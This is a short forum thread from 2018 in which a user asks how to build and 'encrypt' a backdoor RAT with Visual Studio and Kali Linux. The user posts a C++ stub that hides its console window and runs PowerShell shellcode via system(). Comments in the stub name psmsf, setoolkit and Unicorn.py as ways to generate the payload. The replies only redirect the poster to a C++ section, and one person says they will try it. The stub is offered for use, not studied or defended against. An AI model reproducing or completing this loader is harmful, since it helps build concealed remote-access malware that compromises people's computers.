Thread: [how to encrypt backdoor rat using visual studio .net](#)

knownasknown - November 19, 2018, 12:24 pm

I have some codes but I 'm not good at c language.I installed visual studio and I want to know how to use them with backdoors of Kali Linux. for instance

/*

You can Compile Online this Code

Created By n0va /

```
#include <iostream>
```

```
#include <windows.h>
```

```
int shellCode(){
```

```
    system("color 63");
```

```
    system("Powershell_Code");// put the powershell shellCode here.
```

```
    /
```

You May Use (Tools like psmsf,setoolkit,or Unicorn.py) << Its Depends upon you

((Shell Code into the console))

```
    */
```

```
    return 0;
```

```
}
```

```
void hide(){
```

```
    HWND stealth;
```

```
    AllocConsole();
```

```
    stealth = FindWindowA("ConsoleWindowClass",NULL);
```

```
    ShowWindow (stealth,0);
```

```
}
```

```
int main(){
```

```
    hide();
```

```
    shellCode();
```

```
    return 0;
```

```
}
```

The code you posted above looks to be C++

Better you post this thread in C++ section.

I missed that part, sorry My Bad.

Last_viking - November 20, 2018, 12:32 am

I'll try this when I'm free
